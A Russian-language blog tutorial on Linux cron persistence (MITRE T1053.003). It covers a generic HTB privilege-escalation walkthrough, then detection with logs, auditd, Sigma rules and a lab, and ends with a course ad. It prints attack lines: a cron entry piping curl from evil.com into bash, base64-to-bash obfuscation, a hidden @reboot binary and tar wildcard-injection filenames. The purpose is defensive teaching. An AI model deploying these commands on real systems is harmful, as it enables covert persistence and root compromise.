Cron персистентность атака: разбор HTB-машины и детект в логах

По данным Picus Security Red Report 2023, техника T1053 — Scheduled Task/Job — на первом месте среди техник закрепления в реальных атаках. На Linux основная реализация — cron-джоб: одна строка в расписании планировщика, которая переживает перезагрузку, самовосстанавливает удалённый вредонос и маскируется под легитимную задачу администратора. Одна строка. Без эксплойтов ядра, без zero-day. Просто расписание.

Я прохожу типовой сценарий HTB-машины с эксплуатацией cron со стороны атакующего, а потом переключаюсь в роль SOC-аналитика и показываю, как ловить такую cron персистентность в логах — auditd, Sigma-правила, ручной аудит.

Cron как оружие атакующего: техника MITRE ATT&CK T1053.003

Cron — демон (фоновый процесс) в Linux, который выполняет команды по расписанию. Администраторы используют его для бэкапов, ротации логов, обновления сертификатов — рутинных задач, которые должны запускаться автоматически. Расписание задаётся пятью полями: минута, час, день месяца, месяц, день недели — и команда после них. Запись */5 * * * * /opt/scripts/backup.sh означает «запускать скрипт каждые пять минут».

Атакующих cron привлекает ровно по тем же причинам, что и администраторов. Установлен по умолчанию на подавляющем большинстве Linux-серверов. Задания выглядят легитимно — сливаются с обычной административной активностью. Cron переживает перезагрузку: задание стартует при каждом boot. Но самое неприятное для защитников: cron-задание может каждую минуту скачивать и запускать вредонос заново, даже если файл удалён вручную. Удалил файл — через минуту он вернулся. Это классическая ловушка, в которую попадают администраторы без опыта расследования инцидентов: чистят следствие, а причина тикает в crontab.

В базе MITRE ATT&CK (открытая база тактик и техник атак — если встречаете коды вроде T1053.003, это её идентификаторы) cron-persistence описана как T1053.003 — Cron. Техника покрывает три тактики одновременно: execution (выполнение кода), persistence (закрепление в системе), privilege escalation (повышение привилегий). В реальных атаках технику T1053.003 применяли группировки APT5 (атаки на телеком), Rocke (скрытый криптомайнинг) и вредонос ESXiArgs (вымогательство на VMware ESXi).

Где прячутся вредоносные cron-задания

Атакующие не ограничиваются одним расположением. По данным Elastic Security Labs, основные точки размещения:

Разница, которую нужно запомнить: в системных файлах (/etc/crontab, /etc/cron.d/*) после расписания указывается пользователь, от имени которого выполняется задание. В пользовательских crontab задание запускается от имени владельца файла. На практике это означает, что файл в /etc/cron.d/ с полем root даёт атакующему выполнение команд от суперпользователя. Elastic показывает пример: их утилита PANIX (инструмент для тестирования persistence-механизмов) при запуске с root-правами создаёт файл /etc/cron.d/freedesktop_timesync1. Имя выглядит как легитимный системный компонент — но таковым не является.

HTB walkthrough: privilege escalation через cron-джоб

Ниже — обобщённый сценарий, который регулярно встречается на HTB-машинах с Linux. Описываю типовой паттерн атаки, чтобы показать механику, не спойлеря конкретные активные задания платформы.

Разведка и эксплуатация вредоносного cron

Типовое прохождение HTB-машины с cron persistence начинается стандартно: nmap-сканирование обнаруживает открытые порты (обычно 22/SSH и 80/HTTP). На веб-сервере — уязвимость (SQL-инъекция, LFI, command injection), через которую атакующий получает reverse shell от имени непривилегированного пользователя вроде www-data.

Первое действие после получения шелла — поиск путей повышения привилегий. Зачем проверять cron: если cron запускает скрипт от root, а этот скрипт доступен на запись текущему пользователю — это прямой путь к root без эксплойтов ядра. Стандартные проверки: cat /etc/crontab для системного расписания, ls -la /etc/cron.d/ для дополнительных файлов, ls -la /etc/cron.daily/ для периодических задач.

Типовая находка — строка */5 * * * * root /opt/scripts/backup.sh, где скрипт backup.sh имеет права -rwxrwxrwx (доступен на запись всем) или принадлежит пользователю www-data. Атакующий перезаписывает содержимое скрипта, и через пять минут cron запускает reverse shell уже с правами root. Одна команда echo, пять минут ожидания — и ты root.

Второй распространённый вектор на HTB — wildcard injection. Если cron-задание выполняет tar czf /backup/archive.tar.gz * в определённой директории, атакующий создаёт файлы с именами --checkpoint=1 и --checkpoint-action=exec=shell.sh. Утилита tar интерпретирует эти имена как аргументы командной строки и выполняет shell.sh от root при следующем запуске cron-задания. Выглядит как баг — но это документированное поведение tar.

Cron персистентность: закрепление после получения root

Получив root, атакующий устанавливает собственный cron-джоб для долговременного закрепления. По данным Sandfly Security, типичные паттерны из реальных инцидентов:

Загрузка payload каждую минуту: * * * * * curl http://evil.com/malware.sh | bash. Вредонос может маскироваться под изображение — скрипт прячется внутри файла с расширением .jpg, а команда dd skip=2446 bs=1 извлекает payload из середины файла, пропуская заголовок картинки. Изобретательно, но встречается в дикой природе чаще, чем хотелось бы.

Запуск при перезагрузке: @reboot /tmp/.cache/system-update. Здесь два IOC (indicator of compromise — артефакт, указывающий на вредоносную активность): исполняемый файл в /tmp — мировая директория с правами 1777, куда не должны попадать легитимные бинарники, — и скрытая директория .cache, не являющаяся стандартной для /tmp.

Обфускация через base64: * * * * * echo "YmFzaC..." | base64 -d | bash. Закодированная команда не видна при беглом просмотре crontab. При ручном аудите такие строки легко пропустить.

Зачем атакующему тратить усилия на persistence? Без закрепления придётся повторять весь путь эксплуатации заново — а первичный вектор может быть уже закрыт патчем. Cron persistence гарантирует, что доступ к скомпрометированной машине сохраняется даже после обнаружения и частичной очистки. Экономика атаки: 30 секунд на echo в crontab vs часы на повторную эксплуатацию.

Обнаружение cron persistence в логах: практика SOC-аналитика

Переключаемся на синюю сторону. Атакующий оставил cron-джоб. Задача SOC-аналитика (Security Operations Center — подразделение, где специалисты в реальном времени отслеживают и расследуют инциденты безопасности) — обнаружить его по артефактам в логах.

Анализ логов cron и auth.log

Расположение логов cron зависит от дистрибутива. В Debian/Ubuntu записи попадают в /var/log/syslog. В RHEL/CentOS/AlmaLinux — в отдельный /var/log/cron. Если используется systemd, записи доступны через journalctl -u cron (Debian) или journalctl -u crond (RHEL-семейство).

Каждый запуск задания оставляет запись с именем пользователя, командой и временной меткой. Если в логе появляются записи о выполнении команд из /tmp, /dev/shm, /var/tmp или команды с curl | bash — это красный флаг, требующий немедленного расследования.

Тревожные признаки в cron-записях:

• скрипты из мировых директорий (/tmp, /var/tmp, /dev/shm) — легитимные задачи не хранят исполняемые файлы здесь
• обращения к внешним URL через curl, wget или python -c — бэкапы не скачивают код из интернета
• base64-декодирование с пайпом в shell — стандартные cron-задачи не используют обфускацию
• расписание * * * * * (каждую минуту) — легитимные задания редко запускаются с такой частотой
• файлы в /etc/cron.d/ с нехарактерными именами, имитирующими системные компоненты

Кроме cron-логов стоит проверить auth.log (или secure в RHEL): кто подключался к серверу перед появлением подозрительного cron-задания? Корреляция SSH-сессии с моментом создания crontab часто указывает на конкретного атакующего.

Мониторинг подозрительной активности cron через auditd

Логи cron фиксируют запуск задания, но не показывают, кто и как его создал. Для этого нужен auditd (подсистема аудита ядра Linux, отслеживающая системные вызовы и доступ к файлам) или Sysmon for Linux (агент от Microsoft, логирующий создание процессов с полным деревом parent-child).

Auditd-правило для мониторинга записи в cron-директорию: -w /etc/cron.d/ -p wa -k cron_persistence. Флаг -p wa — отслеживание записи (write) и изменения атрибутов (attribute change). Ключ -k cron_persistence позволяет быстро фильтровать события командой ausearch -k cron_persistence.

Sysmon for Linux дополняет картину: Event ID 11 фиксирует создание файлов, Event ID 1 — создание процессов с полным деревом parent process. По данным Elastic Security Labs, именно цепочка событий «пользователь выполнил crontab → создан файл → cron прочитал файл → cron запустил команду → установлено сетевое соединение» — основа для построения детект-правил в SIEM.

В программах обучения SOC-аналитиков модуль по linux persistence techniques строится по такой же схеме: сначала студент руками создаёт cron-persistence на лабораторном стенде в роли атакующего, затем переключается на сторону защиты и ищет оставленные артефакты. Подход «атаковал, затем обнаружил» формирует понимание полного цикла инцидента — и именно этого не хватает, когда учишься только по одной стороне.

Практика SOC: ловим cron персистентность за три шага

Этот блок — для тех, кто хочет повторить обнаружение на собственном лабораторном стенде. Нужен любой Linux-дистрибутив с root-доступом и установленный auditd (apt install auditd для Debian/Ubuntu, yum install audit для RHEL).

Шаг 1. Имитация атаки. Создаём тестовый cron-джоб, имитирующий вредоносную cron персистентность. Выполните от root:

echo '* * * * * root /tmp/.test_persist.sh' > /etc/cron.d/test_persist
echo '#!/bin/bash' > /tmp/.test_persist.sh
echo 'echo "$(date) persist_check" >> /tmp/persist.log' >> /tmp/.test_persist.sh
chmod +x /tmp/.test_persist.sh

Через одну-две минуты в файле /tmp/persist.log появится строка с текущей датой и текстом persist_check. Появилась — cron подхватил задание, имитация работает.

Шаг 2. Ручной поиск. Проверяем все cron-директории и пользовательские crontab одним проходом:

for dir in /etc/cron.d /etc/cron.daily /etc/cron.hourly \
  /etc/cron.weekly /etc/cron.monthly; do
  echo "=== $dir ===" && ls -la "$dir"
done
cat /etc/crontab
for u in $(cut -d: -f1 /etc/passwd); do
  crontab -u "$u" -l 2>/dev/null && echo "^^^ user: $u"
done

В выводе директории /etc/cron.d вы увидите файл test_persist. Любые записи со ссылками на /tmp, /dev/shm, с curl | bash или base64 — подозрительные и требуют расследования.

Шаг 3. Настройка мониторинга. Добавляем auditd-правила для автоматического отслеживания изменений в cron-директориях:

auditctl -w /etc/cron.d/ -p wa -k cron_persist
auditctl -w /var/spool/cron/ -p wa -k cron_persist
auditctl -w /etc/crontab -p wa -k cron_persist

После ausearch -k cron_persist вы увидите запись о создании файла test_persist с указанием времени, пользователя (uid) и PID процесса. Это тот артефакт, который SOC-аналитик увидит в SIEM при реальном инциденте.

После эксперимента очистите тестовые артефакты: rm /etc/cron.d/test_persist /tmp/.test_persist.sh /tmp/persist.log.

Sigma-правила для обнаружения cron-джоб эксплуатации

Sigma — открытый формат описания детект-правил, который конвертируется в запросы конкретных SIEM-платформ (Splunk, Elastic, Microsoft Sentinel). Вместо того чтобы писать запрос под каждый SIEM отдельно, вы описываете логику один раз в YAML — а конвертер генерирует нужный синтаксис. В репозитории SigmaHQ для техники T1053.003 доступны готовые правила:

• lnx_cron_crontab_file_modification.yml — срабатывает на модификацию файлов crontab. Фиксирует момент создания или изменения cron-заданий — первый шаг в цепочке persistence.
• proc_creation_lnx_schedule_task_job_cron.yml — срабатывает на создание процессов, связанных с cron. Отлавливает запуск crontab -e, crontab -r и аналогичных команд.
• file_event_lnx_triple_cross_rootkit_persistence.yml — детектирует файловые события, характерные для rootkit-persistence через cron.

Эти правила маппятся на T1053.003 в MITRE ATT&CK. Sigma-правило — не финальный вердикт, а триггер для расследования. Дальше нужно проверить контекст: кто запустил crontab, из какого parent-процесса, что именно было добавлено.

Из каталога D3FEND (knowledge graph защитных техник от MITRE — маппит атаку на контрмеры) к T1053.003 привязаны: D3-PSA (Process Spawn Analysis — анализ порождения процессов cron-демоном), D3-FIM (File Integrity Monitoring — мониторинг целостности файлов), D3-SCF (System Call Filtering — фильтрация системных вызовов). Комбинация FIM на cron-директории и PSA на дочерние процессы cron-демона закрывает оба этапа: создание задания и его выполнение.

Для тестирования детект-правил есть Atomic Red Team — открытый набор тестов, привязанных к MITRE ATT&CK. Для T1053.003 доступны три теста: замена crontab файлом, добавление скрипта во все cron-поддиректории, добавление скрипта в /etc/cron.d/. Запуск Atomic-теста на лабораторном стенде — проверенный способ убедиться, что ваши Sigma-правила и auditd-мониторинг срабатывают до того, как это проверит за вас реальный атакующий.

Большинство инцидентов с cron persistence, которые я разбирал, заканчивались одинаково: задание висело в /etc/cron.d/ неделями, а никто не проверял эту директорию. Не потому что не умели — потому что не было процесса. Auditd-правила пишутся за минуту. Sigma-правила для cron уже лежат в открытом репозитории. Atomic-тесты для проверки детекта — тоже. Технический барьер здесь нулевой. Проблема — организационная: SOC без настроенного мониторинга cron-директорий работает с мёртвой зоной в самом предсказуемом месте Linux-инфраструктуры. Русскоязычные материалы по cron persistence почти целиком про сторону атаки — будто защитная часть менее интересна. На практике именно она определяет, заметят инцидент за минуту или за месяц. Кто хочет перестать решать HTB-машины вслепую и начать понимать обе стороны системно — на IB Basics эту цепочку «атака → детект → расследование» разбирают с лабами.